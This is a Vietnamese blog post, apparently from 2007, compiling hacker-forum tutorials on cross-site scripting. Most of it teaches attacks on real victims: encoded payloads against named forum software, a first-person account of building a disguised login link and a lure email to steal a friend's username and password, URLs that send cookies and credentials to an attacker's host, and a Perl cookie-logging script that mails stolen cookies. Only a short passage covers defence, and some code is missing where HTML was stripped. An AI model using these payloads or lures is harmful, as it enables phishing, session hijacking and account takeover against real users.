————————————————————– và thế là bộ lọc bị vô hiệu hoá 1 cách nhanh ######ng . Cái này dùng để hack webmail bằng cách tạo fakelogin thì khỏi chê . 3/Không cho JAVASCRIPT tồn tại : Trong trường hợp này thì hầu hết các ký tự đặt biệt được nhập vào từ người dùng đều bị lọc , do đó để vượt qua thì hacker phải mã hoá code nhập vào : Ht*p://sitebiloi.com/search.cgi?query=%26%7balert%28%27Mask %27%29%7d%3b Chuỗi “%26%7balert%28%27Mask%27%29%7d%3b” chính là {alert(‘Mask’)}; đã được mã hoá Tôi nêu thêm ra vài ví dụ nữa để các bạn dễ hình dung : *Forum YABB GOLD 1 SP1 (chưa fix) , bị XSS như sau : ht*p://the.target.xxx/board/YaBB.pl?board=gral;action=display;num=10360245269location%3d’Ht*p://www.hostbanupfile.com/cookie.php?Cookie%3d’%2b(document.cookie)%3b đó đó , mấy cái kí tự loằng ngoằng bi giờ sử dụng rồi đó (tự tra nhé ) *Forum vbullettin (version bao nhiêu quên rồi ) : ht*p://target.com/board/usercp.php?s=[Session ID]“>javascript-:document.write(‘‘); *Forum PHPBB 1.4.4 (hình như 2.0 cũng bị) : vào đăng kí 1 cái acc , sau đó send 1 cái topic , ráng làm sao để “Alert” admin nó đọc đặng còn chôm cookie của nó chứ , tôi gợi ý nhé ———————————————————————————————-
Subject : ADMIN , I LOVE U Nội dung : your forum is bad, hahaha [img]javascript:document.write(”)[/i*g] ——————————————————————————– ta thực hiện được là do lợi dụng thẻ img để chèn code . Khi “Alert” admin đọc cái topic này thì cookie của nó lập tức bay vào tay ta . Hà hà ! Cách dùng cookie vừa chôm được : Đối với WIN XP thì cookie được lưu trữ tại : C:\Documents and Settings\tên của bạn\cookies\ còn cookie nào , ở chính xác tại đâu thì vào đó mà kiếm , không thể biết cụ thể được . Kiếm được rồi thì thay thế cái cookie của ta thành cái vừa chôm được , xong trở lại forum với cookie này thì ta là admin . Nhưng hình như nếu ta chôm cookie mà “Alert” admin nó log out mất tiêu thì cookie này coi như vô dụng , chỉ áp dụng được khi “Alert” admin ko log out ( không biết tôi nhớ có chính xác hay không nhưng đại loại có lẽ đúng ) Còn rất nhiều rất nhiều site + forum bị lỗi trên net , ở đây chỉ là vài ba ví dụ để các bạn dễ hình dung . Cách dụ dỗ victim vào đúng cái link mà ta mong muốn : Để mang tính thực tế và dễ hiểu tôi sẽ kể cho các bạn nghe 1 câu chuyện về hack bằng lỗi XSS và đây cũng là 1 tình huống nữa của lỗi XSS : Một hôm buồn đời tôi lang thang trên net và vào 1 website nọ , ví dụ là http://www.a.com/ theo thói quen tôi đánh 1 dữ liệu bất kì vào ô put in USERNAME , và ở đây cái mà tôi đáng vào là Mask_NBTA tôi liền thấy xuất hiện dòng chữ “Invalid login : user Mask_NBTA is not found in our data” , hè hè 1 triệu chứng của XSS đây rồi , nhìn vào thanh URL lại thấy cái này http://www.a.com/login.asp?erro=Invalid%20…in%20our%20data quá sướng rồi còn gì , công việc bi giờ làm sao để hack đây . Đầu tiên tôi save as cái trang này vào dĩa cứng , dùng NOTE PAD open và xem cái sources .Tại sao tôi làm vậy ? Vì tôi muốn biết 2 cái tên biến của login form , và tôi đã dễ dàng tìm thấy , nó là “ten” và “matkhau” , dựa vào 2 cái này thì tôi đã biết mình cần phải làm gì , và phải chèn code
như thế nào hè hè . Cái tôi muốn lúc này là làm sao dựa vào XSS để lấy được thông tin về username + pass của nạn nhân . Vậy thì mình chèn cái gì đây , sau 1 thoáng suy nghĩ tôi quyết định chèn cái này đây :

Tôi sẽ giải thích từng cái cho các bạn hiểu : cái

để kết thúc cái FORM của cái site đã được mở ra ở trên . Còn cái code bên dưới thì nhìn thôi chắc các bạn cũng hiểu hết , không cần giải thích nhé . Chèn code như sau : Ht*p://www.a.com/login.asp?tênbiến1=giátrịcóthật1&tênbiến2=giátrịcóthật2&tênbiến3=giátrịcóthật3&tênbiến4=giátrịcóthật4&erro=%3C/FORM%3E%3CFORM%20action=%22login1.asp%22%20method=%22post%22%20onsubmit=%22image%20=%20New%20image;image.scr=’h*tp://myhost/cookie.asp?cookie=’%20%2bdocument.form(1).ten.value%20%2b’/'%20%2bdocument.form(1).matkhau.value;%22%2E Tại sao lại chèn thêm 1 đống biến có thật vào, nhớ là làm sao để nhìn vào URL ta ko thấy cái phần code chèn thêm ngoài sau , chủ yếu là làm cho cái link thêm dài loằng ngoằng trước hết làm hoa mắt nạn nhân , sau đó là tạo dáng vẻ có thật 1 cách tự nhiên cho cái link . Làm tới đây tôi chợt nghĩ ra mình có “Alert” bạn là member của cái site này , sẵn đang rảnh rổi chọc nó chơi . Cách tôi làm là send cho nó 1 cái mail với nội dung thế này : Mày nghe tin gì mới chưa ! WEBSITE a.com mở 1 cuộc thi có tiền thưởng là 1000 000 , lại đúng sở trường của mày nữa , còn hông biết tham gia nữa . Xem cái link này mày sẽ hiểu : H*tp://www.a.com/login.asp nhưng bên dưới cái link này sẽ là cái http://www.a.com/login.asp?tênbiến1=giî..au.value;%22%2E Bạn đoán xem chuyện gì xảy ra . Tất nhiên là nó sẽ click vào cái link tưởng chừng như vô hại đó , sau đó login vào site bình thường mà đâu ngờ là cái username + pass đã bị ………..
Công việc của tôi chỉ là vào host , mở cái file log ra và xem , có gì trong đó , bí mật ………. Câu chuyện tới đây là hết . Chắc các bạn cũng đã hiểu cách làm của tôi , hy vọng với những cái đầu thiên tài của các bạn thì sẽ có những cách hay hơn cách tôi vừa trình bày . CÁCH PHÒNG CHỐNG XSS : 1/Trước hết là cho admin của các website : + Không cho phép bất cứ HTML tag nào nhập vào từ người dùng . + Lọc tất cá các Active Script từ HTML Code 2/Dành cho người dùng : Cẩn thận là trên hết , đừng chết vì thiếu hiểu biết . Tôi viết bài trước hết là để ôn lại kiến thức cho chính mình sau đó là muốn giải thích cho các bạn hiếu thật rõ về nguy hại của XSS để mà phòng tránh .
Cross-Site Scripting (ko nhớ tác giả) Giới thiệu : Bạn đã bao nhiêu lần nhận một email mà chứa các hyperlink rồi ?Thử nghĩ xem khi bạn nhận được 1 mail link tới site mà bạn tham gia với lời mời chào khá ngọt , ban click vào link đó mà ko chút thắc mắc , login với user của mình …. như vậy rất có thể là bạn đã mất pass vào tay một hacker rồi Đây chỉ là 1 vd nhỏ về cross-site scripting thôi . Cross-Site Scripting Cross-Site Scripting còn gọi là XSS , lỗi xảy ra khi các ứng dụng web thu nhận các dữ liệu nguy hiểm của các hacker như một đoạn mã javascript ,Vbscript…. Nó sẽ chỉ giúp bạn lấy được thông tin mật của một ứng dụng web thôi , ko hơn ko kém ( và bạn hãy quên ngay việc nghĩ rằng để khai thác thành công lỗi này chỉ mất vài phút nhé ) XSS có khả năng ảnh hưởng tới các site cho phép người dùng nhập dữ liệu vào ,thường là : Các công cụ tìm kiếm Forms được điền bởi user
Web message boards, guestbook Một hacker khi phát hiện ra lỗi XSS sẽ cố gắng dùng nó để lấy cookies, tạo các trang login giả để lấy pass của người khác ..v..v.. Bây giờ chúng ta bắt đầu đi sâu vào lỗi XSS , trước tiên là xác định site dính lỗi này : Ví dụ một công cụ tìm kiếm của site sau khi được ta nhập giá trị ( ví dụ : XSS ) nó sẽ trả về những gì mà ta vừa nhập ( tức in ra XSS ) thì rất có khả năng nó bị dính XSS . Bây giờ ta view source của site đấy nếu tìm thấy ” XSS ” thì đích thị site này dính lỗi rồi , hè hè Để mô phỏng một cuộc tấn công bằng XSS , một site ngân hàng online đã được creat ( www.freebank.com ). Trước tiên hacker sẽ bắt đầu tìm một trang trên site này để có thể nhập giá trị , trong ví dụ hacker đã tìm ra rằng khi cố gắng login ko được thì username sẽ hiện lên trên thanh URL như sau : http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20Badlogin (%20 là các kí tự trắng ) tiếp theo , hacker sẽ kiểm tra xem có thể tiêm mã HTML và javascript vào trang wweb này được ko . Đơn giản chỉ cần thay “Invalid%20Login:%20Badlogin ” ở URL trên bằng alert(‘XSS’) , nếu sau đó ta nhận được 1 cửa sổ pop-up với thông báo XSS thì ta hoàn toàn có thể khai thác site này qua lỗi XSS . Anh ta bây giờ phải tạo 1 URL để có thể lấy được các thông tin nhạy cảm . Để tạo được 1 URL mà có khả năng qua mặt được nhiều người thì hacker phải mở sourrce của trang web ( mà cụ thể ở đây là trang banklogin.asp ) để đưa vào URL phù hợp: ở đây hacker sẽ thêm vào đoạn code sau ( tùy từng trường hợp cụ thể mà ta có thể thay bằng code khác )

khi được ” tiêm ” vào trang login thì nó sẽ như sau : ( đoạn code của chúng ta được in nghiêng )

Username :

Password:
………………………. Như ta thấy , đoạn code được “tiêm ” vào gồm 2 phần chính , một là

để kết thúc

của bản gốc , hai là

Chú ý rằng <form action=”login.asp” method=”post” ko hề khác bản gốc tuy nhiên ta thêm vào onsubmit , nó có tác dụng là chạy đoạn javascript khi victim click vào submit. Thông tin của victim sẽ gửi đến link ở trên (www.hacker.com ) Sau khi có được code rồi , bây giờ hacker sẽ phải đưa nó vào URL : http://www.freebank.com/banklogin.asp?serviceName=FreebanlCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C%2Fform%3E%0D%0A%3Cform+action%3D%22login.asp%22+method%3D%22post%22%0D%0Aonsubmit%3D%22XSSimage%3D+new+Image%3B+XSSimage.src%3D%27http%3A%2F%2Fhacker.com%2F%27%2Bdocument.forms%281%29.login.value%2B%27%3A%27%2Bdocument.forms%281%29.password.value%3B%22%3E%0D%0A Dễ nhận ra là URL này khác với URL mà ta dùng để test XSS , đơn giản chỉ vì như thế này URL sẽ đủ dài để giảm sự nghi ngờ của victim thôi. Rồi , bây giờ ta sẽ gửi link này đến cho victim , có rất nhìu cách để qua mặt họ sau đó chỉ việc chờ và check log file tại www. hacker.com
Trên đây chỉ là 1 ví dụ nho nhỏ thôi bằng sáng tạo của mỗi người sẽ có 1 cách khai thác riêng cho mình Các bạn ko chỉ có thể lấy user và pass của người khác mà còn có thể thay đổi giá trị của sản phẩm tại 1 site mua bán , thêm dữ liệu ..v..v..v .. Hi vong bài viết này có thể giúp các bạn newbie như mình phần nào hiểu thêm về XSS .À với các bạn chưa biết XSS là gì sau khi đọc xong bài này thì các bạn đọc lại bài của anh Mask_NBTA_83 ý .Bài đấy sẽ giúp ích nhiều đấy . Khi nào kiếm thêm bài về XSS mình sẽ cố vít 1 bài nữa nếu ko ai thấy phiền hè hè bài trên mình đã nói qua về lỗi XSS và cách khai thác của nó hẳn các bạn còn nhớ đoạn javascript mà hacker sẽ sử dụng để lấy coookie của victim chứ (có ko tí nhưng mình xin chỉ ra ví dụ sau ) document.location.repleace(‘http://hacker/payload?c=’ + document.cookie ) file php để ghi lại coookie có sẽ như sau : Hay đây là 1 ví dụ khác : document.location.repleace(‘http://hacker/steal.cgi?’ + document.cookie ) ; và đây là source của file steal.cgi : #! /usr/bin/perl #steal.cgi by David Endler #Specific to your system $mailprog = ‘/usr/sbin/sendmail’; #creat log file
open (COOKIES,”>>stolen_cookie_file”); #what victim see print ” Content-type: text /html \n\n”; print <<endOfHTML; your cookie has been stolen hehe EndOfHTML #The QUERY_STRING enviroment variable should be filled with #the cookie text after steal.cgi: #http://www.hacker.com/steal.cgi?XXXXXXX print COOKIES “$ENV{ ‘ QUERY_STRING ‘ } from $ENV { ‘ REMOTE_ADDR’} \n; #now mail the alert as well so we can start hijack open (MAIL,”|$mailprog -t”); print MAIL ” To: hacker\ @hacker.com \n”; print MAIL ” From: cookie_steal \ @hacker.com \n”; print MAIL ” Subject :Stolen cookie \n\n”; print MAIL “-” x 75 . “\n\n; print MAIL “$ENV{ ‘QUERY_STRING’} from $ENV{ ‘REMOTE_ADDR’} \n”; close (MAIL); Một ví dụ khác nữa ( của matrix2k ) window.open(“http://www.hostbanupfile.com/cookie.asp?cookie=”+document.cookie) file cookie.asp:

Add comment 19/07/2007


Calendar

Tháng Mười Một 2009
T2 T3 T4 T5 T6 T7 CN
« Tháng 9    
 1
2345678
9101112131415
16171819202122
23242526272829
30  

Posts by Month

Posts by Category